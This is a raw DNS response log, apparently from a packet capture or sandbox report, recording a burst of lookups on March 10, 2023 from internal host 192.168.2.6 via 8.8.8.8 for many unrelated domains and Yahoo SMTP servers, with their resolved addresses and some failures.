Mar 10, 2023 07:56:14.842607021 CET	8.8.8.8	192.168.2.6	0x9a3b	No error (0)	lpver.com		92.204.129.113	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.843266010 CET	8.8.8.8	192.168.2.6	0xb431	No error (0)	dhh.la.gov		52.200.51.73	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.845185041 CET	8.8.8.8	192.168.2.6	0x9496	No error (0)	smtp.sbcglobal.yahoo.com	smtp-sbc.mail.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:14.845185041 CET	8.8.8.8	192.168.2.6	0x9496	No error (0)	smtp-sbc.mail.yahoo.com	smtp1.sbc.mail.am0.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:14.845185041 CET	8.8.8.8	192.168.2.6	0x9496	No error (0)	smtp1.sbc.mail.am0.yahoodns.net		66.218.88.163	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.845185041 CET	8.8.8.8	192.168.2.6	0x9496	No error (0)	smtp1.sbc.mail.am0.yahoodns.net		67.195.12.38	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.845185041 CET	8.8.8.8	192.168.2.6	0x9496	No error (0)	smtp1.sbc.mail.am0.yahoodns.net		66.163.170.48	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.854935884 CET	8.8.8.8	192.168.2.6	0x5ae4	No error (0)	www.diamir.de		138.201.65.187	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.856514931 CET	8.8.8.8	192.168.2.6	0x986e	No error (0)	hyab.com		172.67.193.133	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.856514931 CET	8.8.8.8	192.168.2.6	0x986e	No error (0)	hyab.com		104.21.65.224	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.880328894 CET	8.8.8.8	192.168.2.6	0x70cf	No error (0)	flamingorecordings.com		35.214.171.193	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.897949934 CET	8.8.8.8	192.168.2.6	0xd5cf	No error (0)	oozkranj.com		212.44.102.57	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.901309013 CET	8.8.8.8	192.168.2.6	0xfdb	No error (0)	epc.com.au		103.4.16.43	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.905606031 CET	8.8.8.8	192.168.2.6	0xaf05	No error (0)	atb-lit.com		208.100.26.245	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.936469078 CET	8.8.8.8	192.168.2.6	0xa48c	No error (0)	sanfotek.net		97.74.42.79	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.955851078 CET	8.8.8.8	192.168.2.6	0x91bf	No error (0)	absblast.com		141.193.213.20	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.960761070 CET	8.8.8.8	192.168.2.6	0x3ec6	No error (0)	dataform.co.uk		83.223.113.46	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.970727921 CET	8.8.8.8	192.168.2.6	0x3ba9	No error (0)	enguita.net		195.5.116.23	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.972995996 CET	8.8.8.8	192.168.2.6	0x9953	No error (0)	fdlymca.org		192.124.249.9	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.978168964 CET	8.8.8.8	192.168.2.6	0x8b50	No error (0)	adventist.ro		104.21.48.92	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.978168964 CET	8.8.8.8	192.168.2.6	0x8b50	No error (0)	adventist.ro		172.67.183.62	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.979937077 CET	8.8.8.8	192.168.2.6	0xc87	No error (0)	www.reglera.com	reglera.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:14.979937077 CET	8.8.8.8	192.168.2.6	0xc87	No error (0)	reglera.com		64.125.133.18	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.982969046 CET	8.8.8.8	192.168.2.6	0x6741	No error (0)	bosado.com		5.39.75.157	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.983892918 CET	8.8.8.8	192.168.2.6	0xda65	No error (0)	cutchie.com		199.59.243.222	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.988198042 CET	8.8.8.8	192.168.2.6	0xddeb	No error (0)	ncn.de		46.30.60.158	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.989171982 CET	8.8.8.8	192.168.2.6	0x7fc0	No error (0)	orbitgas.com		107.180.58.31	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.995448112 CET	8.8.8.8	192.168.2.6	0x7848	No error (0)	techtrans.de		185.237.66.112	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.995891094 CET	8.8.8.8	192.168.2.6	0x3841	No error (0)	slower.it		127.0.0.11	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.018130064 CET	8.8.8.8	192.168.2.6	0x3025	No error (0)	aiolos-sa.gr		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.018130064 CET	8.8.8.8	192.168.2.6	0x3025	No error (0)	aiolos-sa.gr		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.044502974 CET	8.8.8.8	192.168.2.6	0xd467	No error (0)	htsmx.net		63.251.106.25	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.049776077 CET	8.8.8.8	192.168.2.6	0x148f	No error (0)	fr-dat.com		127.0.0.1	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.049799919 CET	8.8.8.8	192.168.2.6	0xcba5	No error (0)	kevyt.net		104.21.2.101	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.049799919 CET	8.8.8.8	192.168.2.6	0xcba5	No error (0)	kevyt.net		172.67.129.18	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.081579924 CET	8.8.8.8	192.168.2.6	0x89ee	No error (0)	cpmteam.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.081579924 CET	8.8.8.8	192.168.2.6	0x89ee	No error (0)	cpmteam.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.095860004 CET	8.8.8.8	192.168.2.6	0xb833	No error (0)	infotech.pl		79.96.32.254	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.098562002 CET	8.8.8.8	192.168.2.6	0xcde1	No error (0)	wvs-net.de		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.098562002 CET	8.8.8.8	192.168.2.6	0xcde1	No error (0)	wvs-net.de		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.105185032 CET	8.8.8.8	192.168.2.6	0x902e	No error (0)	www.stajum.com		103.3.1.161	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.115679026 CET	8.8.8.8	192.168.2.6	0xe91b	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.126178026 CET	8.8.8.8	192.168.2.6	0xf14d	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.126418114 CET	8.8.8.8	192.168.2.6	0x9d34	No error (0)	bossinst.com		205.178.189.131	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.150948048 CET	8.8.8.8	192.168.2.6	0x1e72	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.166220903 CET	8.8.8.8	192.168.2.6	0xbd30	No error (0)	popbook.com		47.91.167.60	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.196367025 CET	8.8.8.8	192.168.2.6	0x841d	No error (0)	aoinko.net		157.7.107.38	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.200624943 CET	8.8.8.8	192.168.2.6	0x8926	No error (0)	ldh.la.gov		75.2.95.235	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.211242914 CET	8.8.8.8	192.168.2.6	0x42ad	No error (0)	rokoron.com		211.13.204.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.214704037 CET	8.8.8.8	192.168.2.6	0x3803	No error (0)	akr.co.id		104.20.122.68	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.214704037 CET	8.8.8.8	192.168.2.6	0x3803	No error (0)	akr.co.id		104.20.123.68	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.214704037 CET	8.8.8.8	192.168.2.6	0x3803	No error (0)	akr.co.id		172.67.33.252	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.217758894 CET	8.8.8.8	192.168.2.6	0xf0bc	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.295950890 CET	8.8.8.8	192.168.2.6	0x65d9	Name error (3)	89gospel.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.297458887 CET	8.8.8.8	192.168.2.6	0xdc56	No error (0)	hyabmagneter.se		104.21.69.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.297458887 CET	8.8.8.8	192.168.2.6	0xdc56	No error (0)	hyabmagneter.se		172.67.209.90	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.304975986 CET	8.8.8.8	192.168.2.6	0x3a09	No error (0)	isom.org		192.124.249.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.317753077 CET	8.8.8.8	192.168.2.6	0x71c5	No error (0)	aba.org.eg		192.169.149.78	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.320614100 CET	8.8.8.8	192.168.2.6	0xc023	No error (0)	kevyt.net		104.21.2.101	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.320614100 CET	8.8.8.8	192.168.2.6	0xc023	No error (0)	kevyt.net		172.67.129.18	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.325431108 CET	8.8.8.8	192.168.2.6	0x4ed1	No error (0)	top1oil.com		172.67.71.55	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.325431108 CET	8.8.8.8	192.168.2.6	0x4ed1	No error (0)	top1oil.com		104.26.1.82	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.325431108 CET	8.8.8.8	192.168.2.6	0x4ed1	No error (0)	top1oil.com		104.26.0.82	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.325839043 CET	8.8.8.8	192.168.2.6	0x984d	Server failure (2)	canmore.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.333163977 CET	8.8.8.8	192.168.2.6	0xd1f1	No error (0)	notis.ru		185.178.208.141	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.385723114 CET	8.8.8.8	192.168.2.6	0x2e3c	No error (0)	hamaker.net		34.102.136.180	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.392822027 CET	8.8.8.8	192.168.2.6	0x8cb7	No error (0)	t-trust.jp		183.181.82.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.398629904 CET	8.8.8.8	192.168.2.6	0x6825	Name error (3)	89gospel.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.408670902 CET	8.8.8.8	192.168.2.6	0x636f	No error (0)	vdoherty.com		91.216.241.100	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.410271883 CET	8.8.8.8	192.168.2.6	0x4e2d	No error (0)	hubbikes.com		75.2.70.75	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.410271883 CET	8.8.8.8	192.168.2.6	0x4e2d	No error (0)	hubbikes.com		99.83.190.102	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.414777040 CET	8.8.8.8	192.168.2.6	0x5ff9	No error (0)	rkengg.com	traff-5.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:15.414777040 CET	8.8.8.8	192.168.2.6	0x5ff9	No error (0)	traff-5.hugedomains.com	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:15.414777040 CET	8.8.8.8	192.168.2.6	0x5ff9	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		34.205.242.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.414777040 CET	8.8.8.8	192.168.2.6	0x5ff9	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		54.161.222.85	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.424010992 CET	8.8.8.8	192.168.2.6	0x8f4c	No error (0)	www.vitaindu.com		122.128.109.107	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.425550938 CET	8.8.8.8	192.168.2.6	0x47a2	No error (0)	at-shun.com		210.140.73.39	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.433013916 CET	8.8.8.8	192.168.2.6	0x797f	No error (0)	gbp-jp.com		208.80.123.104	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.433013916 CET	8.8.8.8	192.168.2.6	0x797f	No error (0)	gbp-jp.com		208.80.123.195	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.433013916 CET	8.8.8.8	192.168.2.6	0x797f	No error (0)	gbp-jp.com		208.80.122.2	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.433013916 CET	8.8.8.8	192.168.2.6	0x797f	No error (0)	gbp-jp.com		208.80.122.205	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.434782982 CET	8.8.8.8	192.168.2.6	0xd021	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.461966038 CET	8.8.8.8	192.168.2.6	0x3bd8	No error (0)	dayvo.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.461966038 CET	8.8.8.8	192.168.2.6	0x3bd8	No error (0)	dayvo.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.472274065 CET	8.8.8.8	192.168.2.6	0xc594	No error (0)	amerifor.com		64.18.191.61	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.497750044 CET	8.8.8.8	192.168.2.6	0x2676	No error (0)	www.diamir.de		138.201.65.187	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.534713984 CET	8.8.8.8	192.168.2.6	0xaa6a	No error (0)	willsub.com		69.89.107.122	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.568701029 CET	8.8.8.8	192.168.2.6	0x3905	No error (0)	xinhui.net		43.255.29.192	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.569395065 CET	8.8.8.8	192.168.2.6	0x4955	Name error (3)	89gospel.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.603733063 CET	8.8.8.8	192.168.2.6	0xaa1b	No error (0)	hyabmagneter.se		172.67.209.90	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.603733063 CET	8.8.8.8	192.168.2.6	0xaa1b	No error (0)	hyabmagneter.se		104.21.69.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.604598045 CET	8.8.8.8	192.168.2.6	0x64a8	No error (0)	anduran.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:15.604598045 CET	8.8.8.8	192.168.2.6	0x64a8	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:15.604598045 CET	8.8.8.8	192.168.2.6	0x64a8	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		52.71.57.184	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.604598045 CET	8.8.8.8	192.168.2.6	0x64a8	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		54.209.32.212	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.607599974 CET	8.8.8.8	192.168.2.6	0x65df	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.630430937 CET	8.8.8.8	192.168.2.6	0x9239	No error (0)	biurohera.pl		79.96.161.192	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.630430937 CET	8.8.8.8	192.168.2.6	0x9239	No error (0)	biurohera.pl		54.36.175.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.649975061 CET	8.8.8.8	192.168.2.6	0xacf6	No error (0)	skgm.ru		91.201.52.102	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.653480053 CET	8.8.8.8	192.168.2.6	0x45ea	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.666646957 CET	8.8.8.8	192.168.2.6	0x49b6	No error (0)	nblewis.com		35.169.15.168	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.666646957 CET	8.8.8.8	192.168.2.6	0x49b6	No error (0)	nblewis.com		52.0.29.214	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.666646957 CET	8.8.8.8	192.168.2.6	0x49b6	No error (0)	nblewis.com		35.168.185.204	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.668595076 CET	8.8.8.8	192.168.2.6	0x5a4d	No error (0)	cbaben.com		173.205.126.33	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.687055111 CET	8.8.8.8	192.168.2.6	0xe296	No error (0)	webavant.com		148.72.176.26	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.687114000 CET	8.8.8.8	192.168.2.6	0xe9d7	No error (0)	biurohera.pl		54.36.175.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.687114000 CET	8.8.8.8	192.168.2.6	0xe9d7	No error (0)	biurohera.pl		79.96.161.192	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.707102060 CET	8.8.8.8	192.168.2.6	0x8339	No error (0)	gydrozo.ru		91.220.211.163	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.707140923 CET	8.8.8.8	192.168.2.6	0x1bba	No error (0)	anduran.com	traff-5.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:15.707140923 CET	8.8.8.8	192.168.2.6	0x1bba	No error (0)	traff-5.hugedomains.com	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:15.707140923 CET	8.8.8.8	192.168.2.6	0x1bba	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		34.205.242.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.707140923 CET	8.8.8.8	192.168.2.6	0x1bba	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		54.161.222.85	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.737222910 CET	8.8.8.8	192.168.2.6	0xaed6	No error (0)	wnit.org		38.111.255.201	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.754925966 CET	8.8.8.8	192.168.2.6	0xf4aa	No error (0)	plaske.ua		52.211.245.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.755027056 CET	8.8.8.8	192.168.2.6	0x7d8	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.755044937 CET	8.8.8.8	192.168.2.6	0x7a80	No error (0)	notis.ru		185.178.208.141	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.760648966 CET	8.8.8.8	192.168.2.6	0xe226	No error (0)	hyab.se		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.760648966 CET	8.8.8.8	192.168.2.6	0xe226	No error (0)	hyab.se		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.762267113 CET	8.8.8.8	192.168.2.6	0x952b	No error (0)	www.hyabmagneter.se		172.67.209.90	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.762267113 CET	8.8.8.8	192.168.2.6	0x952b	No error (0)	www.hyabmagneter.se		104.21.69.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.780358076 CET	8.8.8.8	192.168.2.6	0xe226	No error (0)	hyab.se		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.780358076 CET	8.8.8.8	192.168.2.6	0xe226	No error (0)	hyab.se		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.783076048 CET	8.8.8.8	192.168.2.6	0x5e39	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.821110010 CET	8.8.8.8	192.168.2.6	0x1bd4	No error (0)	scintel.com		23.239.201.14	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.837044001 CET	8.8.8.8	192.168.2.6	0x2011	No error (0)	vonparis.com		23.185.0.4	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.845968008 CET	8.8.8.8	192.168.2.6	0xc81a	No error (0)	siongann.com		104.21.8.75	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.845968008 CET	8.8.8.8	192.168.2.6	0xc81a	No error (0)	siongann.com		172.67.156.237	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.854055882 CET	8.8.8.8	192.168.2.6	0xf5eb	No error (0)	hbfuels.com		85.233.160.148	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.854912043 CET	8.8.8.8	192.168.2.6	0x5629	No error (0)	kewlmail.com		63.251.106.25	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.856020927 CET	8.8.8.8	192.168.2.6	0x4597	No error (0)	gydrozo.ru		91.220.211.163	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.897010088 CET	8.8.8.8	192.168.2.6	0xe90c	Name error (3)	www.medisa.info	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.908438921 CET	8.8.8.8	192.168.2.6	0x65df	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.940412998 CET	8.8.8.8	192.168.2.6	0xdc83	No error (0)	tabbles.net		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.940412998 CET	8.8.8.8	192.168.2.6	0xdc83	No error (0)	tabbles.net		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.944222927 CET	8.8.8.8	192.168.2.6	0x410b	No error (0)	infotech.pl		79.96.32.254	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.984186888 CET	8.8.8.8	192.168.2.6	0x5f87	No error (0)	themark.org		35.172.94.1	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.984186888 CET	8.8.8.8	192.168.2.6	0x5f87	No error (0)	themark.org		100.24.208.97	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.992635012 CET	8.8.8.8	192.168.2.6	0x773c	No error (0)	www.valselit.com		193.70.68.254	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.036297083 CET	8.8.8.8	192.168.2.6	0x328c	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.056427956 CET	8.8.8.8	192.168.2.6	0xe76a	No error (0)	sjbmw.com		198.199.101.195	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.056740999 CET	8.8.8.8	192.168.2.6	0x1b0a	No error (0)	hamaker.net		34.102.136.180	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.101484060 CET	8.8.8.8	192.168.2.6	0xb2c6	Name error (3)	www.yumgiskor.kz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.102437973 CET	8.8.8.8	192.168.2.6	0xa35c	No error (0)	bible.org		104.20.54.214	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.102437973 CET	8.8.8.8	192.168.2.6	0xa35c	No error (0)	bible.org		104.20.55.214	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.102437973 CET	8.8.8.8	192.168.2.6	0xa35c	No error (0)	bible.org		172.67.33.95	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.106816053 CET	8.8.8.8	192.168.2.6	0xbec8	No error (0)	duiops.net		135.125.108.170	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.109045982 CET	8.8.8.8	192.168.2.6	0x21a1	No error (0)	thiessen.net		62.75.251.116	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.127494097 CET	8.8.8.8	192.168.2.6	0xcaf1	No error (0)	riwn.org		198.185.159.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.127494097 CET	8.8.8.8	192.168.2.6	0xcaf1	No error (0)	riwn.org		198.185.159.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.127494097 CET	8.8.8.8	192.168.2.6	0xcaf1	No error (0)	riwn.org		198.49.23.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.127494097 CET	8.8.8.8	192.168.2.6	0xcaf1	No error (0)	riwn.org		198.49.23.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.135416985 CET	8.8.8.8	192.168.2.6	0x7d8d	No error (0)	wantapc.net		157.7.107.49	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.147907972 CET	8.8.8.8	192.168.2.6	0x1211	No error (0)	hyab.com		104.21.65.224	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.147907972 CET	8.8.8.8	192.168.2.6	0x1211	No error (0)	hyab.com		172.67.193.133	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.200335026 CET	8.8.8.8	192.168.2.6	0x94b8	No error (0)	www.hyabmagneter.se		104.21.69.146	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.200335026 CET	8.8.8.8	192.168.2.6	0x94b8	No error (0)	www.hyabmagneter.se		172.67.209.90	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.206959009 CET	8.8.8.8	192.168.2.6	0xe7dd	No error (0)	78san.com		133.242.15.119	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.216998100 CET	8.8.8.8	192.168.2.6	0xb430	No error (0)	shiner.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.216998100 CET	8.8.8.8	192.168.2.6	0xb430	No error (0)	shiner.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.234761000 CET	8.8.8.8	192.168.2.6	0x3e04	No error (0)	ccrsi.org		198.209.253.30	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.235336065 CET	8.8.8.8	192.168.2.6	0xf2d2	Name error (3)	ludea.cz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.236922979 CET	8.8.8.8	192.168.2.6	0x7c2c	No error (0)	www.2print.com	2print.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:56:16.236922979 CET	8.8.8.8	192.168.2.6	0x7c2c	No error (0)	2print.com		107.180.98.101	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.254153967 CET	8.8.8.8	192.168.2.6	0xc973	No error (0)	pccj.net		104.21.29.72	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.254153967 CET	8.8.8.8	192.168.2.6	0xc973	No error (0)	pccj.net		172.67.148.147	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.279617071 CET	8.8.8.8	192.168.2.6	0x6cd6	Name error (3)	ludea.cz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.279649019 CET	8.8.8.8	192.168.2.6	0x5937	No error (0)	adventist.ro		104.21.48.92	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.279649019 CET	8.8.8.8	192.168.2.6	0x5937	No error (0)	adventist.ro		172.67.183.62	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.292650938 CET	8.8.8.8	192.168.2.6	0xb39e	No error (0)	mijash3.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.292650938 CET	8.8.8.8	192.168.2.6	0xb39e	No error (0)	mijash3.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.292650938 CET	8.8.8.8	192.168.2.6	0xb39e	No error (0)	mijash3.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.292650938 CET	8.8.8.8	192.168.2.6	0xb39e	No error (0)	mijash3.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.295949936 CET	8.8.8.8	192.168.2.6	0x9d23	No error (0)	x96.com		188.114.96.3	A (IP address)	IN (0x0001)	false
